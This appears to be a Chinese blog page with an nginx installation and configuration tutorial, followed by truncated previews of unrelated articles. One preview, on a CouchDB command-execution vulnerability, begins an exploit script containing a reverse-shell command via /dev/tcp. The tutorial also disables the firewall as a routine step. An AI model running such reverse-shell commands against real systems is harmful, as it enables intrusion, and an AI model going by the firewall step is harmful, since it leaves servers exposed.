当前位置: 首页 > news >正文

nginx安装和配置

目录

1.安装

2.配置

3.最小配置说明 

 4. nginx 默认访问路径


1.安装

使用 epel 源安装

先安装 yum 的扩展包

yum install epel-release -y

 再安装 nginx 

yum install nginx -y

 在启动nginx 前先关闭防火墙

systemctl stop firewalld

 取消防火墙开机自启

systemctl disable firewalld

启动 nginx

systemctl start nginx.service

 开机自启动

systemctl enable nginx.service

 可以访问 ip 地址进行查看是否启动成功

 也可以查看启动进程

ps -ef|grep nginx

 nginx 启动后默认占用的是 80端口,查看端口占用情况

netstat -lntup

2.配置

在 nginx 中,系统已经给我们将文件备份好了,所以可以直接对文件进行修改配置

 来到 nginx 目录下

cd /etc/nginx/

 查看文件

 1)过滤

 其中 nginx.conf 是主配置文件,每次启动都会加载它,所以我们只需要对该文件进行修改

在修改前,我们可以先对文件中 # 行 和空号进行过滤

grep -Ev '#|^$' nginx.conf.default

 这是过滤之后的内容

 2) 输出重定向

从备份文件 nginx.conf.default 中输出重定向到  nginx.conf 中

grep -Ev '#|^$' nginx.conf.default > nginx.conf

 3)编辑配置文件

vim nginx.conf

进入编辑后,先进行行数查看,方便对行数进行删除

set number

 将光标定到17行,然后键盘上 先按 4 再快速 按dd 就可以将17-20行删除掉

 

 保存退出,然后重启nginx

systemctl restart nginx

 最小配置完成

查看进程

工作进程可以 kill 掉,然后由管理进程重启一个工作进程;但是管理进程 kill 掉之后 ,nginx 就启动不了了,所以要注意

 更改后配置之后,查看下语法是否正确

nginx -t

 

3.最小配置说明 

worker_processes  1;
表示工作进程数量,建议不要超过cpu内核数量

 events {
    worker_connections  1024;
}

表示连接数量,每个工作进程可以连接1024个

 include       mime.types;

表示nginx启动时加载nginx.conf 主配置文件时,先加载 mime.types 里的配置文件, 这个文件主要用来表示支持那些多媒体格式

 default_type  application/octet-stream;

表示如果不能打开的文件,将默认以八进制的数据流打开文件

server { # 一个网站配置
        listen       80; #网站打开端口
        server_name  localhost; # 网站默认域名,可以进行修改
        location / { #网站打开目录
            root   html; # 站点根目录
            index  index.html index.htm; #网站访问默认页面路径
        }
    }
 

 4. nginx 默认访问路径

1)访问nginx时,打开的HTML 文件存放在目录 
/usr/share/nginx/html/

cd 到该目录下可以进行查看

2)修改站点根目录

自己创建一个 /web 目录 ,然后在该目录下放入自己需要访问的网站,然后进行配置

 查看目录路径 pwd 

 3)上传网站压缩包,然后解压

 修改站点根目录

将原本的 html 修改成  /web/yiliao

 保存退出然后重启nginx

然后对ip 地址进行访问,默认的nginx 页面就会显示成我们配置的 yiliao 页面

相关文章:

nginx安装和配置

目录 1.安装 2.配置 3.最小配置说明 4. nginx 默认访问路径 1.安装 使用 epel 源安装 先安装 yum 的扩展包 yum install epel-release -y 再安装 nginx yum install nginx -y 在启动nginx 前先关闭防火墙 systemctl stop firewalld 取消防火墙开机自启 systemctl di…...

【头歌实训】kafka-入门篇

文章目录 第1关:kafka - 初体验任务描述相关知识Kafka 简述Kafka 应用场景Kafka 架构组件kafka 常用命令 编程要求测试说明答案代码 第2关:生产者 (Producer ) - 简单模式任务描述相关知识Producer 简单模式Producer 的开发步骤Ka…...

华为云创新中心,引领浙南的数字化腾飞

编辑:阿冒 设计:沐由 县域经济是我国国民经济的重要组成部分,是推动经济社会全面发展的核心力量之一。在推进中国式现代化的征程中,县域经济扮演的角色也越来越重要。 毫无疑问,县域经济的良性发展,需要多方…...

240101-5步MacOS自带软件无损快速导出iPhone照片

硬件准备: iphone手机Mac电脑数据线 操作步骤: Step 1: 找到并打开MacOS自带的图像捕捉 Step 2: 通过数据线将iphone与电脑连接Step 3:iphone与电脑提示“是否授权“? >>> “是“Step 4:左上角选择自己的设…...

github鉴权失败

问题: 如上图所示 git push 时发生了报错,鉴权失败; 解决方案 Settings->Developer settings->Personal access tokens->Generate new token。创建新的访问密钥,勾选repo栏,选择有效期,为密钥命…...

2023湾区产城创新大会:培育数字化供应链金融新时代

2023年12月26日,由南方报业传媒集团指导,南方报业传媒集团深圳分社主办的“新质新力——2023湾区产城创新大会”在深圳举行。大会聚集里国内产城研究领域的专家学者以及来自产业园区、金融机构、企业的代表,以新兴产业发展为议题,…...

多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测

多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测 目录 多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预…...

二叉树的前序遍历 、二叉树的最大深度、平衡二叉树、二叉树遍历(leetcode)

目录 一、二叉树的前序遍历 方法一:全局变量记录节点个数 方法二:传址调用记录节点个数 二、二叉树的最大深度 三、平衡二叉树 四、二叉树遍历 一、二叉树的前序遍历 方法一:全局变量记录节点个数 计算树的节点数: 函数TreeSize用于递…...

SQL之CASE WHEN用法详解

目录 一、简单CASE WHEN函数:二、CASE WHEN条件表达式函数三、常用场景 场景1:不同状态展示为不同的值场景2:统计不同状态下的值场景3:配合聚合函数做统计场景4:CASE WHEN中使用子查询场景5:经典行转列&am…...

Ubuntu 18.04搭建RISCV和QEMU环境

前言 因为公司项目代码需要在RISCV环境下测试,因为没有硬件实体,所以在Ubuntu 18.04上搭建了riscv-gnu-toolchain QEMU模拟器环境。 安装riscv-gnu-toolchain riscv-gnu-toolchain可以从GitHub上下载源码编译,地址为:https://…...

立足兴趣社交赛道,Soul创新在线社交元宇宙新玩法

近年来,元宇宙概念在全球范围内持续升温,众多企业巨头纷纷加入这场热潮。在一众社交平台中,Soul App凭借其独特的创新理念和技术支撑,致力于打造以Soul为链接的社交元宇宙,成为年轻人心目中的社交新宠。作为新型社交平台的代表,Soul坚持以“不看颜值,看兴趣”为核心,以及持续创…...

Couchdb 任意命令执行漏洞(CVE-2017-12636)

一、环境搭建 二、访问 三、构造payload #!/usr/bin/env python3 import requests import json import base64 from requests.auth import HTTPBasicAuth target http://192.168.217.128:5984 # 目标ip command rb"""sh -i >& /dev/tcp/192.168.217…...

VectorWorks各版本安装指南

VectorWorks下载链接 https://pan.baidu.com/s/1q2WWbePfo-VaGpPtgoWCUQ?pwd0531 1.鼠标右击【VectorWorks 2023(64bit)】压缩包(win11及以上系统需先点击“显示更多选项”)选择【解压到 VectorWorks 2023(64bit)】。 2.打开C盘路径地址【c:\windows\…...

【MySQL】数据库中为什么使用B+树不用B树

🍎个人博客:个人主页 🏆个人专栏: 数 据 库 ⛳️ 功不唐捐,玉汝于成 目录 前言 正文 B树的特点和应用场景: B树相对于B树的优势: 结论: 结语 我的其他博客 前言 在数据…...

微信小程序发送模板消息-详解【有图】

前言 在发送模板消息之前我们要首先搞清楚微信小程序的逻辑是什么,这只是前端的一个demo实现,建议大家在后端处理,前端具体实现:如下图 1.获取小程序Id和密钥 我们注册完微信小程序后,可以在开发设置中看到以下内容&a…...

Easy Rules规则引擎实战

文章目录 简介pom 规则抽象规则Rule基础规则BasicRule事实类Facts:map条件接口动作接口 四种规则定义方式注解方式RuleBuilder 链式Mvel和Spel表达式Yml配置 常用规则类DefaultRuleSpELRule(Spring的表达式注入) 组合规则UnitRuleGroup 规则引…...

听GPT 讲Rust源代码--library/alloc(2)

File: rust/library/alloc/src/vec/mod.rs 在Rust源代码中,rust/library/alloc/src/vec/mod.rs这个文件是Rust标准库中的Vec类型的实现文件。Vec是一个动态大小的数组类型,在内存中以连续的方式存储其元素。 具体来说,mod.rs文件中定义了以下…...

OSG读取和添加节点学习

之前加载了一个模型,代码是, osg::Group* root new osg::Group(); osg::Node* node new osg::Node(); node osgDB::readNodeFile("tree.osg"); root->addChild(node); root是指向osg::Group的指针; node是 osg:…...

计算机网络技术--念念

选择题: 1.只要遵循GNU通用公共许可证,任何人和机构都可以自由修改和再发布的操作系统是(Linux ) 2.在计算机网络的各种功能中,最基本的、为其他功能提供实现基础的是(实现数据通信 ) 3.计算机网络具有分布式处理功能,…...

C#_var

文章目录 一、前言二、隐式类型的局部变量2.1 var和匿名类型2.2 批注 三、总结 一、前言 C#中有一个 var 类型,不管什么类型的变量,都可以用它接收,实属懒人最爱了。 我没有了解过它的底层,甚至没看过它的说明文档,也…...

Linux---进程控制

一、进程创建 fork函数 在Linux中fork函数是非常重要的函数,它从已存在进程中创建一个新进程,原进程为父进程 fork函数的功能: 分配新的内存和内核数据结构给子进程将父进程部分数据结构内容拷贝至子进程添加子进程到系统的进程列表中fork返…...

Java注解学习,一文掌握@Autowired 和 @Resource 注解区别

🏆作者简介,普修罗双战士,一直追求不断学习和成长,在技术的道路上持续探索和实践。 🏆多年互联网行业从业经验,历任核心研发工程师,项目技术负责人。 🎉欢迎 👍点赞✍评论…...

系列一、如何正确的获取Spring Cloud Alibaba Spring Cloud Spring Boot之间的版本对应关系

一、正确的获取Spring Cloud Alibaba & Spring Cloud & Spring Boot之间的版本对应关系 1.1、概述 Java发展日新月异,Spring Cloud Alibaba 、 Spring Cloud 、 Spring Boot在GitHub上的迭代也是异常的频繁,这也说明其社区很活跃,通…...

数据预处理:标准化和归一化

标准化和归一化简介 1、数据预处理概述2、数据标准化3、数据归一化4、标准化和归一化怎么选1、数据预处理概述 在选择了合适模型的前提下,机器学习可谓是“训练台上3分钟,数据数量和质量台下10年功”。数据的收集与准备是机器学习中的重要一步,是构建一个好的预测模型大厦的…...

Node.js+Express 路由配置,实现接口分类管理

首先创建一个路由目录及文件 routes/user.js代码 const express require(express); const router express.Router(); // 使用express提供的router对象 const db require(../dbserver/mysql);router.get(/api/user, (req, res) > {const sqlStr SELECT * FROM sys_user;…...

HTML-基础知识-基本结构,注释,文档说明,字符编码(一)

1.超文本标记语言不分大小写。 2.超文本标签属性名和属性值不区分大小写。 3.超文本标签属性值重复&#xff0c;听取第一个。 4.html结构 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"vi…...

《系统架构设计师教程(第2版)》第3章-信息系统基础知识-05-专家系统(ES)

文章目录 1. 先了解人工智能2.1 人工智能的特点2.2 人工智能的主要分支2. ES概述2.1 概述2.2 和一般系统的区别1)第一遍说了5点(理解为主)2)第二遍说的3点(主要记这个)3. ES的特点4. ES的组成4.1 知识库4.2 综合数据库4.3 推理机4.4 知识获取模块4.5 解释程序4.6 人一机接…...

OSCHINA Gitee 联合呈现,《2023 中国开源开发者报告》正式发布,总结分非常帮,可以免费看的报告!

《2023 中国开源开发者报告》 详细地址&#xff1a; https://talk.gitee.com/report/china-open-source-2023-annual-report.pdf 不需要收费下载&#xff01;&#xff01; 其中大模型的部分总结的非常棒 gietee 也支持 AI 模型托管了 如何在 Gitee 上托管 AI 模型 https://…...

代码随想Day55 | 392.判断子序列、115.不同的子序列

392.判断子序列 第一种思路是双指针&#xff0c;详细代码如下&#xff1a; class Solution { public:bool isSubsequence(string s, string t) {//双指针if(s.empty()&&t.empty()) return true;int i0,j0;while(i<t.size()){if(s[j]t[i]) j;if(js.size()) return t…...

电缆厂 3D 可视化管控系统 | 图扑数字孪生

图扑软件(Hightopo)专注于 Web 的 2D&3D 可视化&#xff0c;自主研发 2D&3D 图形渲染引擎、数据孪生应用开发平台和开发工具&#xff0c;广泛应用于 2D&3D 可视化、工业组态与数字孪生领域&#xff0c;图扑软件为工业物联网、楼宇、场馆、园区、数据中心、工厂、电…...

小精灵网站在线做语文/南宁seo优化公司排名

很长一段时间以来&#xff0c;阿斯顿马丁采用搭载于梅赛德斯奔驰AMG的V8发动机&#xff0c;但近期阿斯顿马丁已经开始把研发转向V6混动系统。阿斯顿马丁正在研发以3.0T V6双涡轮增压发动机为基础的混动系统&#xff0c;并即将搭载于DBX、DB11以及Valhalla&#xff0c;这台发动机…...

医院建设网站/搜索引擎调词软件

Ⅰ 英语单词的 排序首先楼主所提供的句子是一个固定句式&#xff0c;也就是一种习惯用法(是宾语回前置结构)&#xff0c;这种习惯用法答不仅读起来朗朗上口&#xff0c;而且将说话人强调“赚更多的钱&#xff0c;然后才能花更多的钱”的隐含意思表达了出来&#xff0c;如果用一…...

网站如何在国外推广/网络公关公司

使用ASP.NET上传图片汇总 1 使用标准HTML来进行图片上传 前台代码&#xff1a; <body><form id"form1"runat"server"><div><table><tr><td colspan"2"style"height: 21px">使用标准HTML来进行图片…...

如何检测网站死链/企业网站seo诊断工具

在使用svn 的时候容易手抖错选update地址&#xff0c;使其目录所有同级文件夹上出现蓝色“&#xff1f;”图样&#xff0c;非常烦人&#xff0c;下面记录一下解决方案。 首先在该目录下打开同级文件件&#xff0c;工具→文件夹选项→查看→隐藏文件和文件夹→显示隐藏的文件、文…...

如何把地图放到自己做的网站上/百度推广登录地址

转载于:https://www.cnblogs.com/lianghong881018/p/10761990.html...

可以做淘宝联盟的免费网站/百度官方网站网址

元强化学习(meta reinforcement learning)是指使用强化学习解决多种不同的任务的方法。在机器人领域&#xff0c;元强化学习可用于控制机器人执行多种不同的任务。例如&#xff0c;可以使用元强化学习训练机器人执行视觉检测、自主导航、机械手操作等任务。 元强化学习的优点在…...